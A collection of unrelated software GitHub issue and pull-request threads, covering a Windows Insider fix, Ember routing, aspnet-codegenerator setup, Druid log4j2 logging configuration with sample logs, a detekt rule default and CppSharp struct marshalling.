Thank you for taking the time to provide your suggestion.  We will do some preliminary checks to make sure we can proceed further.  We'll provide an update once the issue has been triaged by the product team.

An Insider Preview Windows build with the fix is now available. Build 20270 is now in the Dev Channel: blogs.windows.com/windows-insider/2020/12/03/announcing-windows-10-insider-preview-build-20270. If you are affected by this issue and want to test against the fix that will come via Windows Update, you can use this build. This is an insider build with other changes included, of course, so it is not entirely representative of the version that will be serviced, but it can be used to test for specific cases where the bug used to reproduce.


Set "pnum" font feature setting on headings

For all catalyst headings, we want to use font-feature-settings: "pnum";

#202


Shared libraries, C side

Currently, each module can be independently compiled in C, then in a .o file, then all of them linked into a single executable.
It could be useful to enable the separate compilation of a whole Nit library in a .so file that could be used into programs.
The gain will be smaller executable. Compilation time shoul not be impact because ccaches does a good job and avoid the recompilation of already compiled c files.
The difficulties are

where to put so files?
how to deal will user/system things?
how to manage versionning ie updated libraries and old compiled programs that require old version of the library?

This one is far more complicated that expected, so remove the v1.0 flag


Routes don't fully transition when loading an empty model

If you visit app#vhosts and the app currently has no vhosts, the route isn't fully loaded.  This leaves other items in the nav with the ember-transitioning-out class.  Ideally the route should fully resolve with a simple message like 'This app has no Domains.'

@sandersonet Can you give some more detail on this? I turned on ENV.APP.LOG_TRANSITIONS and ENV.APP.LOG_TRANSITIONS_INTERNAL in config/environment.js and they appear to report that the transition was completed.
I'm also checking for the ember-transitioning-out class but not finding it.
Here's what I see:

To show a message that there are no domains, we can add
{{else}}
This app has no domains
{{/each}}

To app/app/vhosts/index/template.hbs where the {{/each}} is now.

@bantic After looking at this more, it seems to only affect the activity tab.  If it's empty, it will leave other nav items with ember-transitioning-out.

Hmm, still having trouble reproducing this. I may sync up with you on it separately

@sandersonet assigning this one back to you — can you update or close after double-checking that you're running into it with ember 1.10?

@sandersonet giving this one a close — I believe it was limited to Ember 1.11 beta. If you run into it again please reopen!


Troubles with code generation

@Yaro77 commented on Sun Feb 23 2020
If NetCore.SDK-3 is installed using xcopy in random location one should set %DOTNET_ROOT% also to successfuly use aspnet-codegenerator from command line.

Сведения о документе
⚠ Не вносите правки в этот раздел. Это необходимо для связывания страницы сайта docs.microsoft.com с вопросом на GitHub.

ID: 517fdd63-f70b-a52b-56fa-e5051a13ae00
Version Independent ID: 754e1c4d-4742-a83b-7f2d-5dead439e569
Content: Команда dotnet aspnet-codegenerator
Content Source: aspnetcore/fundamentals/tools/dotnet-aspnet-codegenerator.md
Product: aspnet-core
Technology: aspnetcore-fundamentals
GitHub Login: @Rick-Anderson
Microsoft Alias: riande

@srvbpigh commented on Sun Feb 23 2020
Hello, @Yaro77
Thank you for your feedback.
We are actively reviewing your comments and will get back to you soon.
Kind regards,
Microsoft DOCS International Team

Hi Team,
Could you please check comment above from user?
Kind regards,
Microsoft DOCS International Team

If you install the NetCore.SDK-3  xcopy in random location you're expected to know this.

@Yaro77 FYI


Question: OneWire Slave Possibility

I'm doing research on a project where I want to emulate a DS18B20 temp sensor. This would be used to test another board and how it reacts when the "DS18B20" temperature changes.
The write commands for the bus are already done so it would be "just" adding the ability to listen to the bus and respond to a few commands like a real DS18B20 sensor would.
Before I started working on this I thought I would check if this was of any interest to you and if so perhaps we could collaborate?

Sure. I'm always open to new research. Please switch to email communication<EMAIL_ADDRESS>to avoid clogging up GitHub.


Doc: change code snippet highlighting scheme

The lime green background for code snippets doesn't go with the light
blue background. The 'default' code highlighting scheme uses a moderate
gray background, but similar font colors for syntax highlighting.

new screeny for https://docs.trafficserver.apache.org/en/8.0.x/developer-guide/plugins/getting-started/plugin-registration-and-version-checking.en.html

Current screeny:

@shinrich autest failing here?
    file /var/tmp/ausb-4577.7603/tls_hooks2/_output/tls_hooks2-ts/stream.all.txt : SNI message appears only once - Failed

[approve ci autest]

[approve ci autest]

How can we get this into our 8.x docs so the ugly lime green goes away?


A few tweaks

Coverage increased (+8.0e-05%) to 99.605% when pulling 419ff7e1ce1c02ecc5daf3ce877caecafa461efb on tweaks into 9351a09fb08c4bb309778db1914a19283de2b3f1 on master.


Update docs and examples for log4j2 usage.

Druid no longer works with just log4j.xml as described in the docs (since it recently bumped up to using log4j2). Even if log4j.xml IS on the classpath (first even), it will be ignored, in favor of the log4j2.xml found in the druid jars. This should probably be spelled out as a difference for upgrading to Druid 0.7.
This PR updates docs and examples to clarify log4j2.xml as well as clarify how the classpath should be set (ie the dir with the log4j2.xml should be before the jars).
In this PR:

Put configs early in classpath in examples so log4j2.xml will get picked up properly
Add an example log4j2.xml file.
Update Logging doc.

This PR does NOT address jdk logging. Any jdk logging does not respect the log4j configs. For example, if you set up logging to go only to file and not console, you will see jdk logging still go to console (mostly from jersey code). This can be addressed as well by:

adding a dependency on log4j-jul to the parent and common poms:

<dependency>
	<groupId>org.apache.logging.log4j</groupId>
	<artifactId>log4j-jul</artifactId>
	<version>${log4j.version}</version>
</dependency>

then add the following to the command line

-Djava.util.logging.manager=org.apache.logging.log4j.jul.LogManager

Alternatively, the system prop could be set in io.druid.cli.Main, but that didn't seem right. See http://logging.apache.org/log4j/2.0/log4j-jul/index.html for more info.

log4j2 original PR: https://github.com/druid-io/druid/pull/1011
Just as an FYI

By and large Druid uses the MMX logger.
Is jul for capturing non-druid logging? or is it included for some other reason?

@drcrallen Yes, the jul dependency would be for non-druid classes that druid winds up using. To be clear, the jul change is not included in this PR, I just thought it worth mentioning/discussing whether it should be (jcl too for that matter).
If I'm managing a Druid service in production, and trying to tune the logging to only go to file or otherwise tune the levels (or have a consistent log format), Druid out of the box doesn't allow me to do that only using a log4j2.xml file. This is because some components (like jersey) are using jul, and that logger is not configured so it will just go to console. I'd either need to add a separate jul logging config, or drop in the log4j jul jar and set the command line arg myself. Same for jcl (which seems like is used by dbcp which is used in the db metadata connector stuff.

@housejester : Thanks for the jul info!
I just tried it out and here is an example of the change:
No JUL
2015-02-19T15:54:03,259 INFO [main] org.eclipse.jetty.server.Server - jetty-9.2.5.v20141112
Feb 19, 2015 3:54:03 PM com.sun.jersey.guice.spi.container.GuiceComponentProviderFactory register
INFO: Registering com.fasterxml.jackson.jaxrs.json.JacksonJsonProvider as a provider class
Feb 19, 2015 3:54:03 PM com.sun.jersey.guice.spi.container.GuiceComponentProviderFactory register
INFO: Registering io.druid.server.StatusResource as a root resource class
Feb 19, 2015 3:54:03 PM com.sun.jersey.server.impl.application.WebApplicationImpl _initiate
INFO: Initiating Jersey application, version 'Jersey: 1.17.1 02/28/2013 12:47 PM'
Feb 19, 2015 3:54:03 PM com.sun.jersey.guice.spi.container.GuiceComponentProviderFactory getComponentProvider
INFO: Binding com.fasterxml.jackson.jaxrs.json.JacksonJsonProvider to GuiceManagedComponentProvider with the scope "Singleton"
Feb 19, 2015 3:54:04 PM com.sun.jersey.guice.spi.container.GuiceComponentProviderFactory getComponentProvider
INFO: Binding io.druid.server.QueryResource to GuiceInstantiatedComponentProvider
Feb 19, 2015 3:54:04 PM com.sun.jersey.guice.spi.container.GuiceComponentProviderFactory getComponentProvider
INFO: Binding io.druid.server.http.HistoricalResource to GuiceInstantiatedComponentProvider
Feb 19, 2015 3:54:04 PM com.sun.jersey.guice.spi.container.GuiceComponentProviderFactory getComponentProvider
INFO: Binding io.druid.server.StatusResource to GuiceManagedComponentProvider with the scope "Undefined"
2015-02-19T15:54:04,362 INFO [main] org.eclipse.jetty.server.handler.ContextHandler - Started o.e.j.s.ServletContextHandler@331372c6{/,null,AVAILABLE}
2015-02-19T15:54:04,410 INFO [main] org.eclipse.jetty.server.ServerConnector - Started ServerConnector@e5322ec{HTTP/1.1}{<IP_ADDRESS>:8081}

With JUL
2015-02-19T18:07:05,707 INFO [main] org.eclipse.jetty.server.Server - jetty-9.2.5.v20141112
2015-02-19T18:07:05,795 INFO [main-SendThread(localhost:2181)] org.apache.zookeeper.ClientCnxn - Socket connection established to localhost/<IP_ADDRESS>:2181, initiating session
2015-02-19T18:07:05,832 INFO [main-SendThread(localhost:2181)] org.apache.zookeeper.ClientCnxn - Session establishment complete on server localhost/<IP_ADDRESS>:2181, sessionid = 0x14b98a1fbad0055, negotiated timeout = 30000
2015-02-19T18:07:05,838 INFO [main-EventThread] org.apache.curator.framework.state.ConnectionStateManager - State change: CONNECTED
2015-02-19T18:07:05,981 INFO [main] com.sun.jersey.guice.spi.container.GuiceComponentProviderFactory - Registering com.fasterxml.jackson.jaxrs.json.JacksonJsonProvider as a provider class
2015-02-19T18:07:05,984 INFO [main] com.sun.jersey.guice.spi.container.GuiceComponentProviderFactory - Registering io.druid.server.StatusResource as a root resource class
2015-02-19T18:07:05,988 INFO [main] com.sun.jersey.server.impl.application.WebApplicationImpl - Initiating Jersey application, version 'Jersey: 1.17.1 02/28/2013 12:47 PM'
2015-02-19T18:07:06,116 INFO [main] com.sun.jersey.guice.spi.container.GuiceComponentProviderFactory - Binding com.fasterxml.jackson.jaxrs.json.JacksonJsonProvider to GuiceManagedComponentProvider with the scope "Singleton"
2015-02-19T18:07:06,874 INFO [main] com.sun.jersey.guice.spi.container.GuiceComponentProviderFactory - Binding io.druid.server.QueryResource to GuiceInstantiatedComponentProvider
2015-02-19T18:07:06,889 INFO [ServerInventoryView-0] io.druid.client.BatchServerInventoryView - Inventory Initialized
2015-02-19T18:07:06,893 INFO [main] com.sun.jersey.guice.spi.container.GuiceComponentProviderFactory - Binding io.druid.server.http.BrokerResource to GuiceInstantiatedComponentProvider
2015-02-19T18:07:06,896 INFO [ServerInventoryView-0] io.druid.curator.discovery.CuratorServiceAnnouncer - Announcing service[DruidNode{serviceName='broker', host='localhost', port=8080}]
2015-02-19T18:07:06,902 INFO [main] com.sun.jersey.guice.spi.container.GuiceComponentProviderFactory - Binding io.druid.server.ClientInfoResource to GuiceInstantiatedComponentProvider
2015-02-19T18:07:06,903 INFO [main] com.sun.jersey.guice.spi.container.GuiceComponentProviderFactory - Binding io.druid.server.StatusResource to GuiceManagedComponentProvider with the scope "Undefined"
2015-02-19T18:07:06,947 INFO [main] org.eclipse.jetty.server.handler.ContextHandler - Started o.e.j.s.ServletContextHandler@6e21638f{/,null,AVAILABLE}
2015-02-19T18:07:06,965 INFO [main] org.eclipse.jetty.server.ServerConnector - Started ServerConnector@594dc4dc{HTTP/1.1}{<IP_ADDRESS>:8080}

Definitely something that would be nice as a separate PR (shouldn't need to block this one)

Also as a general FYI, here's where the original Log4j2 information was posted:
https://groups.google.com/forum/#!searchin/druid-development/log4j2.xml/druid-development/MVTAVAE9LUo/uoWHrolSC9cJ

Please squash then :+1:


MaxLineLength should ignore import statements by default

Currently, it's set to false although they should be ignored by default since often times you don't have control over these and it's also not that critical.

The same is true for package statements
reference


Added marshalling to struct...

Mostly done... But, one other error is exposed due to this. And moreover it now also marshals few C++ classes to C# struct.
Was that intended while using @class.IsPOD @tritao @ddobrev
Also, I did not add the check for is declared as struct this time.

Marshalling some classes as structs is OK, this is what @tritao 's idea is: marshal types based on their usage, not on the key-word which means almost nothing in C++.

@ddobrev The code marshals a class which was intended to be a Ref type as I had written it for testing a fix when CS_OUT was applied to a ref type argument.
Now it is value type and it is not being properly initialising before use.

@ddobrev Also i wanted to ask about the case when a class in completely different assembly inherits from a class which was previously marshalled as Value Type.
I described the problem on #500 a few days back,

@ddobrev Adding this pass to generator didn't seem to be good. Because of two main reasons:
1. If user has 1 class in one project inheriting from a second class in another project. Then if he uses CppSharp on the two projects separately (As in Namespace Test) then it causes error if the Base has laready been marshalled to value type.
2. Some classes are used in Tests like they are ref type and after marshalling them to value type the tests break.
.
For (1) I have introduced a new macro CS_REF_TYPE which will allow the user to force marshalling to ref type even when CheckClassAsValueTypePass is used just on the condition that the CheckMacroPass is used before this pass.

@tritao @ddobrev Please review this.

@ddobrev @tritao Any comments?!

Hello @genuinelucifer . Please accept my apologies for this huge delay. I've been really busy with Qt#, I am almost ready to build GUI examples with it and it needs a last effort. Meanwhile please proceed with the task about delegates, it's more important than this one anyway.

@ddobrev That's great! :) I had a look into Qt# and it really seems that you have put much much effort into it. Best of Luck!
I'm actually unable to proceed with the delegates task because I actually don't know much about them and actually couldn't figure out how to do that. I will post my real problems on that issue soon.

@genuinelucifer I am glad you have started thinking about the task. Feel free to ask any questions. I still don't have time to review this one but I have more than enough for questions.

Hey @ddobrev we should review this soon.

(sigh) I agree. It's just that the problems keep popping up...